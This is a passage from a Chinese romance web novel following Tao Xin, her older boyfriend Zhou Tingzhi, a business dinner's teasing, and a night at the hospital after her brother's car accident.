姚雪娜暗暗瞪了陶欣一眼,转过头对男人说:“亲爱的,我还想吃炒鲜菌,你去帮我做好吗?” 姚雪娜这种语气,她说什么男人不应,都没顾上和陶欣打一声招呼就急匆匆的进厨房了。 姚雪娜这才说:“我这辈子就换了那么一次口味,栽个大跟头,受不了,也认清自己了,我没那个本事驾驭太精明的男人,谈一谈傻白甜挺好的,起码心里踏实,不怕他算计我。” 陶欣盛了碗鱼汤,抿一小口,果然很鲜,她抬起头说:“不错,这手艺可以,我感覺人也挺好,可以考虑长遠发展。” “姐姐心里有数的,倒是你……”姚雪娜凑近她:“我送你的礼物都用上了没?感覺怎么样?” 姚雪娜在微信上问这件事,陶欣可以装傻不回,可面对面就躲不过去了,脸一下子红透。 姚雪娜满意的靠回到椅背上:“非常好,本来我还觉得周廷之太占便宜,这下就公平多了,以后我在网上看到什么有意思的再买给你。” “……周廷之昨晚还说今天没事,要跟我一起出门,知道我约了你,很快有了应酬。” “料到了,我想我下次见到他,得是你们俩結婚的时候。” 又提起結婚。 和姚雪娜道别,陶欣独自开车回家,等红灯的时候旁边刚好有一家婚纱店,橱窗里雪白的婚纱,裙摆上缀着无数朵纯洁的白玫瑰,只是这样遠远看着,就已经能感受到它背后有一场盛大的梦幻的婚礼。 可是結婚,会和现在有什么不同呢,最多也就是,成为周念法律意义上的“妈”? 陶欣几乎是打了个寒 颤,不敢再往下想了。 离家还有一段距离的时候,接到周廷之的电话,问她在哪里,是不是还和姚雪娜在一起。 陶欣看了眼地图:“我都到天水广场这边了,你怎么样,要回家吗?” 周廷之在电话那边说:“嗯,我在听蝉庄。” “听蝉庄。”陶欣在地图上一搜索,见就在家附近,便说:“OK,我去接你,十分钟后到。” “好,那我就让老林先回去。” 周廷之有两台平时经常用的车,一台在司機老林那,一台他自己开,通常有应酬场合都是老林负责接送他,不过老林家离得远,把他送回去再回自己家,这么折返一趟到家都得半夜了,所以如果应酬拖得久,时间太晚,周廷之就会让老林先回家。 现在虽然不算晚,但陶欣刚好在附近,完全可以让老林早下班。 周廷之发微信跟老林说了一声,这才往包厢的方向走。 一众“这董那总”正在包厢里闲聊。像这种你我之间势均力敌的应酬,谈不上谁是主客谁是陪衬,也不会专门拿谁来取乐,不过随便喝几杯茶酒,交换一下手里掌握的最新情报,寻求一个能合作赚钱的機会,整体气氛还是比较轻松愉快的,偶尔还会聊聊张家长李家短。 周廷之进来的时候,他们正说到某老总在国外惹事的败家儿子,看到周廷之,话题自然就转移到周念身上,免不得夸赞几句。 周廷之等这个话题结束,才看了眼手机,抬起头说:“真不好意思各位,我女朋友说要来接我,这马上就到了。” “这就要走?才几点啊,干脆叫弟妹上来坐一会,我们也好认識认识。” “是啊,这一天光听人家说你周廷之谈了个女明星似的小女朋友,到现在竟然一面也没见过。” “改天,改天。”周廷之端起酒杯,一口饮尽:“我真得走了,你们慢慢吃,改天我专门设宴赔罪。” 他这着急忙慌的架势,好像晚一秒下去就要挨一个耳光,惹得一众“这董那总”都放声大笑起来,调侃他说:“你行不行啊周廷之,怎么叫个小姑娘吓成这样,晚上喝点酒回去是不是还得跪搓衣板啊?” “现在年轻人都不知道什么是搓衣板,专跪榴莲,跪键盘。” “陳总经验丰富啊,看来没少跪呀。” 对于众人的调侃,周廷之似乎也有那么一点难为情,可还是从服务员手里接过外套,像是唯恐女朋友已经到楼下,又看了一眼手机才再次向众人告辞。 众人之中有两个老总是真没见过陶欣,只听人家说当日赵老和妻子的金婚晚宴上,周廷之对小女朋友是如何如何无微不至,如何如何鞍前马后,早好奇的抓心挠肝,今天难得有这机会,是一定要见一面的。 其中一个老总笑着站起身:“正所谓山不向我走来,我便向山走去,弟妹贵人事忙,我清闲的很,那我下去给弟妹請安。” 另一个老总便附和说:“看陳总这觉悟,得,我也去吧,咱可不能落后于人。” 众人知道他俩的心思,又都大笑起来,而这笑声里,有一多半都是笑周廷之。 男人宠爱女人,尊重女人,确实能得美名,可周廷之这样就有点过犹不及了,何况他一个年近四十的男人,叫一个二十出头的小姑娘这么摆布,在众人看来已经到了可笑的地步。 那两个老总话里话外也掺杂了一点阴阳怪气的味道。 他们这一圈人,谈不上什么情份,面上看着亲如哥俩,心里的弯弯绕绕比谁都多,在此之前,虽然都是势均力敌的“霸道总裁”,但周廷之名校毕业,白手起家,年轻有为不说,长得还那么出众,对比其余人,要么身材矮小,要么大腹便便,要么头发稀疏,顶不错的也就是个普通男人。 男人的嫉妒心,远比女人更重,这一圈人里嫉妒周廷之的不在少数,逮到机会自然拿他取笑,横竖周廷之又不能同他们翻脸,心里再不爽也得忍着。 一想到周廷之忍着不爽赔笑脸,两个老总心里就更爽了,像两个顽童一样嘻嘻哈哈的跟着周廷之下了楼。 听蝉庄,一听就知道是个附庸风雅的地方,大堂装修的不像饭店,倒像是什么新中式的艺术展览,讲究一个将自然与艺术融为一体,整体的风格是有一些昏暗朦胧。 在如此氛围下,那些穿着白色旗袍的女侍者都显得格外美丽了,小小一家听蝉庄,几乎可以称得上美女如云。 两个老总面上不显,心里对周廷之的鄙夷又多了一层,就好像这个人明明坐拥着几十亿资产,却为了省几十块的汽车油钱在大雪天挤地铁坐公交,没苦硬吃,这不是蠢是什么? 一张嘴当然还是客客气气的:“弟妹这是到哪了?你这么着急下楼,我还以为她已经到了呢。” “应该快到了。”周廷之像是听不出来两个老总的暗讽,仍微笑着与二人闲谈:“上次见面陳总说要戒碳水减肥,这次见果然瘦了不少,看来不吃碳水的确有效果,回头我也试一试。” “哈哈哈,你还用减肥?这身材都可以做模特了。”死周廷之。 “年纪上来了,代谢大不如前,晚上稍微多吃一点就感觉身体很沉重,我最近在考虑要不要彻底戒掉晚餐。” “哈哈哈哈,我都好几年不吃晚餐,有脂肪肝。”去死啊周廷之。 三人聊得正开心,大堂传来一阵风铃声。 陳总率先朝大门的方向看过去,只见走进来一个年轻女孩,穿着鹅黄色波点长裙,柔软的白色针织衫,半扎着微卷的长发,慵懒随意,从头到脚都没有打扮过的痕迹,甚至还穿着一双不合时宜的球鞋。 可她给人的感觉,却像个矜贵漂亮的小公主。 目光流转,落到周廷之身上,眼里立时有了笑意,脚步轻快地跑过来。 显然,她不会扇周廷之耳光,只会给周廷之一个香吻。 陈总简直咬牙切齿了。 王总倒是好一些:“这就是弟妹吧,果然比那些女明星漂亮多了,改天我投资一部电视剧,就让弟妹做女主角,这张脸就是收视率的保障啊。” “欣欣。”周廷之握住她的手,柔声向她介绍:“这是陈总,王总,两位都是我很好的朋友。” 陶欣笑一笑,落落大方:“你们好。” 陈总仍不甘心,故作玩笑说:“这才不到八点,弟妹就来接人,没结婚就管这么严,结婚之后我们还能见着廷之了吗?” “陈大哥是怪我打扰了你们的饭局吗?” “哪有的事啊,弟妹误会了,我就开个玩笑。” “那陈大哥的情商可没有王大哥高,我感觉还是王大哥开的玩笑更有意思,讨人喜欢。” 她讲话很真诚,夸人的时候眼睛雪亮,好像发自肺腑,不提陈总如何,王总倒是有点小得意,为自己那讨人喜欢的高情商和幽默感。 出了门,坐上车,陶欣才问周廷之:“饭局没散啊,你又说是我叫你走的?” 周廷之说:“这招百试百灵。” “不好吧……”陶欣不和那些人接触,不在乎自己的风评,她比较担心周廷之:“人家不笑话你吗?我记得我爸有个朋友就因为这种事整天被人家笑,根本 就是拿他当下酒菜。” “放心,他们不会拿我当下酒菜的。” 起码不会当着他的面把他当下酒菜。 周廷之当然清楚自己离席后那些人会拿他取笑,可这实在没什么不好。 周廷之希望那些人日后谈及他,首先想到的是“惧內”“妻管严”,尽管可以笑他对比自己小十八岁的女朋友唯命是从,毕恭毕敬,而不是通过他联想到他背后的陶欣和周念,生出任何龌龊的遐想。 “这些都是雪娜从泰国帶回来的?” “对啊。”陶欣笑着和他分享:“你知道吗,雪娜在去泰国前和她之前那个男朋友分手了,是自己去的泰国,然后在泰国又遇到了现在这个男朋友,他们俩可有缘分了,是同一班飞机,同一家酒店,还去同一家餐厅吃饭,连着遇到三次才认识的,最重要的是这个人完全是雪娜喜欢的类型。” “喜欢的类型?” “就是那种……怎么形容呢,哦!陆晨,就是陆晨那种感觉的,有点人畜无害的类型,我那时候在武术馆第一眼见到陆晨,心里就在想,这人一看就是雪娜会喜欢的款。” 周廷之想起陶欣第一次见陆晨,的确是有一瞬的走神。 “那你喜欢什么类型?” “我还用说吗,当然是你这种类型啦。” “我是哪种类型?” 陶欣以为周廷之是单纯的想听她夸他,便一个优点一个优点说:“善良,正直,身材好,智商高,长得帅,情绪稳定,人又机灵,还很自律……” 她每说一个优点,周廷之的心就往下沉一点。 他听得出来,陶欣说这些话的时候,完全是回忆着第一次和他见面的场景,回忆着二十岁时的他。 …… 元旦过后不久,第一期女子防身术学习班就结课了,下一期开班要等寒假过后,馆长考虑再招两名女老师,扩大女子武术班的规模。 陶欣暂时性失业,也没急着找下一份工作。 那天听陶书华说了许多,她回去后仔细的想了想,渐渐意识到自己的确将上班这件事当成了打发时间的消遣,好像有这样一份工作,就可以遮掩自己正在虚度光阴的现实。 不知道为什么,越是了解这个世界,融入这个时代,陶欣越觉得自己的人生很空洞,哪怕生活无忧无虑,爱情甜蜜,也还是感觉少了点什么。 陈平叫她放宽心,陈平说这是时裂受害者在回归社会中后期都会有的症状,绝大多数人都会在考核期快要结束的那两个月产生超乎寻常的迷茫感,要她一定按时去看心理医生,接受心理医生的指导。 可这个症状的产生到底是出于什么原因,心理医生也说不出个所以然,毕竟心理学科没有专门针对时裂受害者的研究。 周廷之倒是想了很多办法开导她,譬如带她去学调酒,学泥塑,去学习专业的摄影知识,去听演唱会,去看画展,去寻找她感兴趣的新事物。 能和周廷之一起做这些事,陶欣当然是很快乐的,可以短暂忘记那种空洞迷茫的感觉,可周廷之不能一直陪着她,总归还是要工作,剩她自己一个人尝试调酒,学习泥塑,去上摄影课,就好像在被迫完成任务一样,有点难捱。 姚雪娜得知她莫名情绪低落,倒是给她出了一个主意。 姚雪娜说:“你现在就跟周廷之提分手,你一提分手,他包精神更变态,到时候给你来个霸道总裁狠狠强制爱,让你品尝一下爱情的苦,信姐姐的,一旦尝到爱情的苦,这世界上就没什么事能算个事。” 陶欣知道姚雪娜不是在开玩笑,但这明显是个馊主意。 自打从三亚回来,陶欣觉得周廷之的状态好了很多,不仅看监控的习惯戒断了,和她在一起的时候也不像之前那么敏感,偶尔还会因为她的疏忽发点小脾气。 想想离开管理局后的那几天,周廷之连和她对视都会不自觉退缩,总是在回避她的视线,跟她说话也客客气气的,带着一种自卑的疏离感,对比现在两个人的亲密无间,陶欣真觉得好不容易,就像养了一只怕人的猫,总算获取他的信任,可以将他抱在怀里肆无忌惮的抚摸。 这种时候,她又怎么会主动伤害他。 她爱周廷之,胜过爱这世界上的任何一个人,这一点是毋庸置疑的。 时至冬月,学生老师都放假了,周廷之倒是忙起来,公司的事一大堆,还要飞到龙城出差。 周廷之不在家,周念颇有几分猴子称大王的既视感,把李乐泉和另外两个同学叫来家里打游戏。他刚买了sp5,又入手了一款枪战游戏,玩的正痴迷,音量开的不算小,陶欣卧室刚好在他卧室上边,总能听到“咣咣咣”的爆破声,四个大小伙子情绪激动的时候还大呼小叫的,吵得陶欣那个烦啊,眼见晚上十点了还不消停,都打算穿好衣服下去跟他们决斗了,偏偏在这时接到大嫂的电话。 电话那边大嫂很焦急,说陶书华晚上回家的路上出车祸了,已经被肇事司机送到医院,现在情况不知道怎么样,她在外地的妹妹家,一时半会还赶不回去,让陶欣赶紧去医院看看,第一时间给她消息。 陶欣接到电话心里也一惊,可大嫂急的六神无主,她不得不沉住气。 来不及换衣服,穿了件长羽绒服就往楼下走,一边找车钥匙一边安慰大嫂:“如果是肇事司机送到医院的,应该就没什么大事,你想啊,要真出事了,肯定得先叫救护车,你把医院地址给我,我过去看看,你别着急,慢慢回来。” 陶欣拿到医院地址,第一时间赶过去,没想到有人比她更快。 “陶欣!”孟和光叫住她:“你怎么跟没头苍蝇似的乱撞。” 陶欣看到孟和光,狂跳不止的心终于平稳一点:“我大哥没事吧。” “没事,就是腰椎骨折,我已经联系了骨科医院,待会转过去,今晚就开刀。”孟和光看着她,有点奇怪:“你怎么知道的?” “我还想问你呢,大嫂打电话跟我说的,大嫂在她妹妹家,都要急死了。”陶欣说着拿出手机给大嫂报平安,孟和光也在旁边说了两句,有他们俩在,大嫂稍稍踏实。 挂断电话,孟和光才说:“肇事司机拿师父手机联系的紧急联系人,我之前设置的,一个是我,一个是师母,正好我在学校,接到电话就来了。” “哎……那大哥呢?” “还在里面做检查,我想着来都来了,干脆脑袋屁股都查一查。” 陶欣被他那对待孩子一样的语气逗笑,彻底放松下来,这会才发现孟和光脚上只穿了一双拖鞋,连袜子都没有,显然也是一接到电话就匆匆赶到医院。 这医院离学校就隔着一条街,孟和光多半是跑过来的,一双脚都冻红了。 陶欣心里一软,抬头看着他笑:“我在这等就行,你回去吧,好歹回去穿双鞋。” “你也没比我好到哪里去呀,像暴露狂。” “我哪里像暴露狂了?” 陶欣走到玻璃门前,看自己的倒影。 你别说,她里面只穿了一件吊带睡裙,外边裹了一件羽绒服,看起来还真像羽绒服里没穿衣服似的。 “是不是很像?” “嗯……那也没有我这么漂亮的暴露狂啊。” “暴露狂的通病都是自恋。” 陶欣转过身,仰脸盯着他:“我是自恋吗?你看着我的眼睛说,我是自恋吗?” 孟和光正笑着,没料到陶欣会忽然转过来质问,怔了一下,没说话。 陶欣不自在的抿了下唇,往检查室的方向看:“大哥还要多久啊……” 第44章 第44章他缓缓转过头,陶欣枕在…… 晚上十一点,陶书华轉去了市中心的一家骨科医院。考虑到陶书华的工作强度较大,唯恐腰椎留下什么后遗症,孟和光特意托关系请副院长亲自动的手术。 凌晨一点钟,陶书华被推进了手术室。 看着手术灯亮起,陶欣才稍稍松了口气,坐到椅子上。 孟和光站在一旁,也盯着手术灯看,似乎是覺得沉默太久,有点尴尬,他轉过头对陶欣说:“那边有自动贩卖機,我去买两瓶水。” 孟和光这一去,就是半个小时,回来的时候手里拎着一个袋子,还端着两个装满熱水的一次性纸杯。 “水有点烫,先放椅子上晾晾吧。” “你去哪了?” 孟和光笑笑:“樓下超市,这走廊里太冷了,手术还得两三个小时,我去买双襪子。” “那会叫你回去穿双鞋……”陶欣看到他从袋子里拿出一套白底小碎花的女士睡衣。 “穿上吧。”孟和光说:“總比做暴露狂好。” 医院樓下卖 的睡衣,多是给医院的病人准备,像这种颜色款式,只有七八十岁的老奶奶才会穿,所以面料格外柔软舒适,摸起来手感糯糯的。 “谢谢……” “还有襪子,我看你好像也没穿。” 剛买回来的襪子,上面还缝着固定线,陶欣扯了两下,低头用牙咬。 “欸。”孟和光用手背托起她的脸,收回手,疑惑地问:“干什么呢?” “拆袜子啊。” “来,教你一个生活小妙招。” 孟和光拿起自己那双袜子,摘下袜子口处的小铁片,掰直后穿进固定线内,轻轻划了几下,然后扯出斷开的线头。 “完事。” “……” “人和动物最本质的区别,在于人类有制造工具和使用工具的能力。” 孟和光说着,把陶欣那双袜子也拆开,固定线扯干净,轉手递给她。 “好好好,算你厉害。”陶欣脱掉鞋,穿上袜子,套上睡裤,终于覺得好过一些,虽然羽绒服足够保暖,不至于冷,但小腿一直露在外边还是会冰冰凉凉的,坐在椅子上感覺也不太自在。 孟和光大概是看出这一点,才下樓去帮她买睡裤。 这个大嫂口中“废寝忘食的理想主义者”倒是比想象中细心很多。 一次性纸杯里的熱水已经到了适宜的温度,陶欣抿了几口,慢慢湿润了干涩的喉咙。她轉头看向一旁的孟和光:“今天真是谢谢你了……” 孟和光笑一笑:“你跟我道什么谢?” 陶欣轻叹了口气:“我今天一进医院,忽然发现,这居然是我长这么大第一次自己来医院,到处都很陌生,完全不知道该怎么办才好,幸亏你在这……” “其实这很正常,二十岁,剛上大学的年纪,能有几个人自己来过医院,就算来医院也是探病,直接去病房,再说……”孟和光看着她:“要论亲情,肯定是你跟我师父更近些,可论交情,我从研一就是我师父的学生,到现在满打满算也有五年了,總比你这个剛从国外回来的堂堂妹更深一些吧,哪里轮到你跟我道谢。” “……那谢谢你帮我倒熱水,帮我买睡衣和袜子。”陶欣顿了一下说:“多少钱,我转给你吧。” 说完她自己倒是有点不好意思,好像刻意跟孟和光划清界限似的……人家才剛帮了她这么多忙。 好在孟和光并没有什么特殊的反应,只是随口说了句:“我就当你是跟我客气,这点钱我还管你要,师父都得从手术台上跳起来打我了。” 话音落下,两个人都笑了笑,便都没再开口了。 没过多长时间,陶欣的手機响了,她有点意外,竟然是周念打来的。 接起电话,周念在那边问:“你出门了?我看车不在院子里啊。” “嗯,我在医院看我大哥,他晚上出了车祸。” “哦……没事吧?” “腰椎骨折和一些小擦伤,正在做手术。”陶欣想了想,嘱咐说:“先别告诉你爸,他龙城那边的工作还没忙完,往返一趟挺耽误事的。” 周念嘴贱归嘴贱,心的确不坏,关键时候还是会说人话的:“好吧,那你好好照顾你大哥,我挂了。” 电话挂斷,一直闭目养神的孟和光睁开眼,笑着问:“是周大哥的儿子。” “嗯。” “我听说他今年刚上大学,成绩还蛮不错的。” “别用这种语气,好奇怪,像是实在没话说就聊聊孩子。”陶欣靠在椅子上,不自覺打了个呵欠。 “你困了?” “还好吧,我平时睡得也很晚。” 陶欣这样说着,眼皮却越来越沉,意识也渐渐模糊,朦朦胧胧间感觉有人坐到了她身旁,淡淡的消毒水味混合着清新的肥皂味,似乎是孟和光身上的味道。她知道是原本跟她隔着一个椅子的孟和光坐过来了,大概是怕她睡太熟,一下子栽倒。 小孟人很好,很细心,难怪大哥大嫂都那么喜欢他,把他当半个儿子看待。 孟和光微微侧头,看了眼陶欣。她睡着了,靠在椅背上,脸缩在羽绒服领口里,歪着脑袋,蹙着眉,很明显睡得不太舒服。 但睡得很老实,靠在哪里一动不动,不像人家坐着睡觉總是东倒西歪。 不过长时间一动不动,等她睡醒了肯定会浑身都痛。 现在这种情况,她靠在他肩上稍微休息一下应该也没有关系。 孟和光只是这样想一想便收回了视线。 作为一个正常人,他很清楚那是过于亲密的接触,如果陶欣是单身,或许还勉强说得过去,可陶欣有男朋友。 一个比她大十八岁的男朋友。 孟和光承认周廷之是各方面配置都堪称顶尖的男人,就算比陶欣大十八岁,两个人站在一起也可以称得上般配,可周廷之早年丧偶,还有那么大一个儿子,陶欣和他在一起的确是有些吃亏。 难怪元旦那天陶书华对周廷之总是一副不假辞色的模样,陶欣要是他妹妹,他大概率也不会支持这段恋情。 孟和光看着墙上不断跳动的时间,越想越远,毫无困意。 忽然的,肩上一沉。 他缓缓转过头,陶欣枕在他肩上,黑发滑落,挡着半张雪白粉润的脸,嘴巴微微张着,因为这样倾斜的姿势,嘴角有一点晶莹的湿润。 坐着还能睡得这么香,看来是真困了,还说什么平时睡得也很晚……孟和光看陶欣一点都不像会熬夜的人,她脸上有一种每天睡十个小时美容觉才会产生的气血充盈。 而且,在医院这样晃眼的白炽灯下,头发仍透出青黑的颜色,细密的发丝像绸缎一样,柔润的垂在肩上,不见半分毛躁。 发质和皮肤的好坏很大程度上由基因决定,可后天的养护同样重要。陶欣一看就是被照顾的很好,事实上,元旦那天在陶书华家吃饭的时候孟和光就注意到了,陶欣几乎很少自己夹菜,周廷之像是有两双眼睛,其中一双时刻关注着她,不论她想吃什么,周廷之都会马上夹到她碗里。 这种事,由小见大,周廷之一定没少在她身上花心思,否则也不会哄得她这么死心塌地。 “唔……”陶欣动了一下,像是即将醒来。 孟和光身体僵住,不知道这会该不该把她从自己肩上挪开。 陶欣醒了,迷迷糊糊的,抬眼看他,眸光湿漉,视线慢慢聚焦到他脸上,好像还没反应过来。 孟和光指了指自己的嘴角:“口水。” 陶欣摸摸脸,又坐直了。 过了一会脑子才完全醒透,看了眼墙上的时间说:“啊,都已经快五点了。” 是啊,还有十分钟就到凌晨五点了。孟和光感觉今晚的时间过得格外快。 “我还想喝水。”陶欣问:“你刚刚在哪里接的?” “楼下护士站,我去吧。” “谢谢你哦。” 孟和光按电梯,下了楼,这个时间医院里没什么人走动,电梯和走廊都安静的有些恐怖。 不知道陶欣有没有看过类似场景的恐怖片。 孟和光找值班护士接了热水,匆匆上楼。 陶欣站在手术室门**动身体,轻描淡写的一弯腰,掌心就压到了地面。 舞蹈生的柔韧度。 孟和光看着,感觉很神奇。 陶欣转身看到他,抱怨说:“你怎么不出声,吓我一跳。” 孟和光把纸杯递过去:“ 你是学什么舞的?芭蕾嗎?” 陶欣摇摇头,轻轻吹了两下杯子里的热水,试探着喝一喝,未果,才抬起头说:“你肯定猜不到。” “这话说的太武断了吧,国内外舞种就那么多,我一样一样猜,总能猜到的吧。” “好啊,那你猜啊。” 陶欣身高腿长,腕线过裆,身体条件非常好,孟和光想总不会是专门跳街舞的,所以首先说了芭蕾。 那既然不是芭蕾…… “拉丁舞?” “no。” “傣族舞?” “还是no。” “不会是街舞吧?” “你怎么还越猜越远了。”陶欣笑了笑说:“其实我是跳古典舞的。” 孟和光微微睁大眼,神情有点过于惊讶了,仿佛那句“真的假的”就在嗓子眼里。 陶欣抿了下唇:“怎么,我不像嗎?你觉得我没有古典气质?” “不,挺像的……因为你之前说是在国外学舞蹈,所以我以为……” 嗷呦。 陶欣很理直气壮地说:“这你就不懂了吧,现在国外也很流行古典舞的,难道你刷抖音没看到过那种在国外穿汉服弹琴的视频嗎?” 孟和光讪讪一笑:“我没看过抖音。” 陶欣怕自己穿帮,特意找了一条那样的视频给他看:“喏,是吧,好多人围观的。” 视频中的女生穿着一身古韵浓郁的大红汉服,坐在人头攒动的国外街头上弹奏杀伐气极重的十面埋伏,看上去反差感很强,惹来很多路人围观。 “那你们也会在街上跳舞?” “这个,倒是不会,我跳剑舞的,总不能拿着剑比比划划,万一引起误会,叫人家当场击毙了怎么办。” 一听她跳剑舞,孟和光眼睛又睁大了。 “你就是不信啊,改天有机会给你演示一下。” “我没有不信……” 孟和光还想说什么,手术室的灯暗了,两人忙上前等医生出来。 听医生说陶书华的手术进行很顺利,接下来只需要住院观察几天再静养一段时间就可以痊愈,两个人彻底放下心来,给正往回赶的大嫂报平安。 早上六点,结束观察的陶书华被送回病房,因为进行过全麻,按照医生要求,他术后六个小时都不能睡觉,可他那困劲比昨天半夜陶欣的困劲大一百倍,没人看着肯定会睡过去。 孟和光跟陶欣商量,决定两个人轮流看着她,一人一小时。 病房里有沙发,孟和光一夜没睡,陶欣让他先去补觉,自己看着陶书华。 孟和光的确是累了,大大的身体蜷缩在小小的沙发里,两分钟不到就沉沉地睡着了。 而陶书华躺在病床上,紧闭着眼睛,陶欣为了不让他睡着,只能不停和他说话。不过他说话也是说胡话,好像语言系统不受控制,一个接着一个的往外蹦专业名词,陶欣一句都听不懂,还得拉着他说话。 说着说着,陶欣都让他说犯困了,感觉像是在上什么物理化学课。 一个小时后,孟和光的手机响了。他定了闹钟,一下醒来,看着竟然比陶欣更精神。 孟和光说:“你来睡会吧。” 陶欣伸了个懒腰,有气无力地说:“不了,我下楼买点早餐回来,你吃什么?” “嗯……豆浆,油条,茶叶蛋……你把帽子戴上吧,当心着凉。” 陶欣点点头,戴上帽子出去了。 孟和光坐在病床边,继续和陶书华说话:“师父,你好一点了嗎?知道我是谁吗?孟和光,小孟。” 陶书华虽然回答的颠三倒四,但看监控仪确实没有睡。孟和光重复着问:“你知道你爱人是谁吗?她做什么工作的?你妹妹叫什么?你妹妹今年多大了?” 胡言乱语的陶书华嘴里忽然蹦出一个数字:“三十八。” 如果陶欣没有消失,今年就该是三十八。 孟和光听到三十八这个数字,微微一怔,却又问回第一个问题:“师父,知道我是谁吗?” 陶书华皱了下眉:“小孟。” “师父,你感觉怎么样?有没有哪里不舒服?” “你也不拦着我……那时候,我真不该……” “你说什么?师父?” “不让她去周廷之那……陶欣要住到家里,她和小孟……” 陶书华像是在说梦话,断断续续的,孟和光有些听不真切,可是,和陶书华做了五年的师生,他大概可以通过这些碎片式的梦话猜出陶书华的心思。 陶欣拎着早餐回来了。 “哇塞,早餐店里人真多啊,我看大家都在排队,这家一定很好吃。”陶欣把豆浆的吸管插好才递给他:“趁热喝。” “谢谢。” “大哥怎么样了?还上课吗?我刚刚都快被他讲睡着了。” “现在比刚才好点,还知道我是小孟。” “那应该很快就清醒了。” 陶欣吸了一口浓浓的豆浆,低头去看手机:“大嫂说她那边已经快下高速了,大概再有个四十多分钟就能到。” 这四十分钟里,陶书华的意识渐渐清醒,不再说胡话了,陶欣这会才后悔:“哎呀,刚才应该给他拍下来的。” “你怎么这么坏。” “错就错在不够坏。” 陶欣说完,手机震了一下,她打开一看,没想到是周廷之,问她醒了吗。 现在还不到八点,她平常都是九点起床,周廷之怎么会这个时间给她发消息?该不会是大早上的看家里的监控,发现她的车不在家吧? 【陶欣:怎么啦?】 【周廷之:今天怎么起这么早?】 【陶欣:[小狗思索jpg.]】 【陶欣:你怎么知道我起了?又看监控?】 【周廷之:……】 【周廷之:你微信步数五百多,在我这排第一】 【陶欣:对不起对不起,误会你了呜呜呜呜】 【陶欣:[可怜兮兮jpg.]】 【陶欣:我昨天晚上就没在家,来大哥这边住了,大嫂不是去她妹妹家了吗,大哥一个人在家,昨天晚上有点发烧,大嫂怕他半夜严重,就让我来看看】 【陶欣:我刚刚出去买早餐来着】 【周廷之:大哥好些了吗?】 【陶欣:没什么事,你不用担心,要好好工作哦[加油]】 周廷之最近一段时间太忙了,几乎连停下来好好吃一顿饭的时间都没有,而以他的性格,知道大哥车祸住院一定会第一时间从龙城赶回来,为了不影响龙城那边的施工进度,他就只能牺牲掉自己的睡眠时间。 陶欣怕他会猝死。 没过一会,大嫂来了,大概昨晚哭了很久,眼睛还红红肿肿的,所幸现在大哥安然无恙,也没再说胡话,不然她一定又要哭一场。 怕大嫂一个人照顾不了陶书华,大嫂的妹妹和妹夫也跟着来了,见到陶欣同孟和光,又是好一通夸赞,从长相到人品,从头发丝到脚趾甲,夸的那叫一个让人脸红心热。 不管怎么说,有人照顾陶书华了,孟和光总算可以回去休息。 刚好大嫂也要回家简单收拾一下住院用的东西,陶欣便开车载她,一道送孟和光回学校。 看孟和光一脸倦容,大嫂不由得说:“真是辛苦你了小孟,又是翻文献又是做实验,一天忙的脚不沾地,这熬一晚上不知道什么时候能缓过来。” “没事。”孟和光轻咳了一声,笑着说:“你还不知道我,天底下有几个人比我能熬?” 大嫂的耳朵很敏锐,听他咳嗽,马上就说:“是不是着凉了?家里有感冒冲剂,我给你拿一盒回去喝。” 然后又唠叨起来:“熬夜就是熬心血,你看你这两年多容易生病,有点小流感你就沾上,说白了还是免疫力低,又不正经吃饭,尤其是早饭,这是一定要吃的,小小年纪身体都虚了。” 大嫂说到最后一句,孟和光终于忍不住辩驳:“我哪虚了,那谁一年到头还不感两次冒……”余光瞥一眼正在开车的陶欣,她没反应。 大嫂叹道:“你师父这一次开刀做手术,肯定也是元气大伤,回来的路上我就想好了,趁着寒假有时间,每天炖汤给你们喝,好好补一补身体。” “药膳汤是很补的。”陶欣说:“不过得对症下药,先问问中医,回头我再找琴姐要一份药膳汤的单子,她熬的药膳汤特别好喝。” “是你们家里那个阿姨?” “对,她什么汤都会熬,她说她是专业熬汤一百年。” 话题渐渐扯远了。 车开到家楼下,大嫂上去拿感冒冲剂,忍了好一会的孟和光终于痛痛 快快地咳起来。 “你真感冒了?” “咳……就是嗓子有点痒,喝点热水,咳咳,睡一觉就好了。” “大嫂出来了。” 孟和光一下子憋回去。 大嫂从车窗把药递进来,嘱咐说:“早晚一包,一定要喝。” “嗯。”孟和光接过冲剂,点点头。 “回去多喝水,多喝点热水,维C也吃起来。” 陶欣替他解围:“好了大嫂,他又不是小孩子,你快上去收拾吧,我们抓紧回医院。” 大嫂这才转身上楼。 “我还送你去北门吗?” “嗯,就把我放在北门对面的地铁站就行,省得你还得掉头。” 陶欣笑笑:“我还是给你送到校门口吧。” 孟和光看向她:“你这什么语气,感觉后边还有半句话没说。” “没说肯定是不方便说呀,怕刺激你幼小的心灵。” “我不虚——” 见他这么聪明,一下子就猜到自己想说什么,陶欣不禁笑出声。 “我可以一口气跑三公里!” 陶欣笑得更大声。 孟和光不满:“你真是太不尊重三公里了。” 陶欣笑着说:“我随便跑跑都五公里的。” 陶书华家离学校很近,哪怕调个头绕远路把孟和光送到校门口,车也很快就开到了。 孟和光拿着感冒冲剂,推开车门,又回过头看陶欣:“你帮我转告师母,我明天下午再去看师父。” “嗯,我知道了,拜拜。” “拜拜。” 孟和光关上车门,没走两步,又转过身,像是有话要说。 陶欣半降车窗,问他:“怎么了?还有什么事吗?” 孟和光想了一下说:“那个,药膳汤的单子,能不能也发给我一份,我帮我妈要的。” “没问题啊。” “你有我微信吗?” 陶欣犹豫了一下说:“到时候我让大嫂转发给你。” 孟和光说:“好。” 第45章 第45章在他走进病房的那一瞬间…… 周廷之得知陶书华車祸住院已经是車祸发生五天后的事。 周廷之从龍城回来,落地机场,远远就看到来接他的陶欣。陶欣穿着短款羽绒服,阔腿牛仔裤,手插在羽绒服口袋里,垫着脚在人群中寻找他的身影,飞机延误,不知道他什么时候出来,正百无聊赖的吃着口香糖,偶尔吹出一个泡泡。 这个时间,机场人来人往,嘈杂密集,可陶欣仍然很显眼,即便渐渐融入这个时代,她身上也残存着千禧年间女孩子身上独有的青春气息。 来自那个时代的人,都会被吸引。 有西装革履的男士走上前,不知说了什么,陶欣摇摇头,他失落的走开。 周廷之走近,陶欣终于看见他,弯眸笑起来,手也从羽绒服口袋里拿出来,做出一个拥抱的姿势,等周廷之走到跟前便一下子扑过去紧紧将他抱了个满懷。 “我好想你啊……”陶欣紧贴着他,纤细的身体被蓬松的羽绒服包裹着,在他懷里像一团柔软的棉花糖,很快就融化了。 周廷之低下头,埋进她的颈窝,呼吸间满是她身上浓郁甜腻的味道:“我也很想你。” 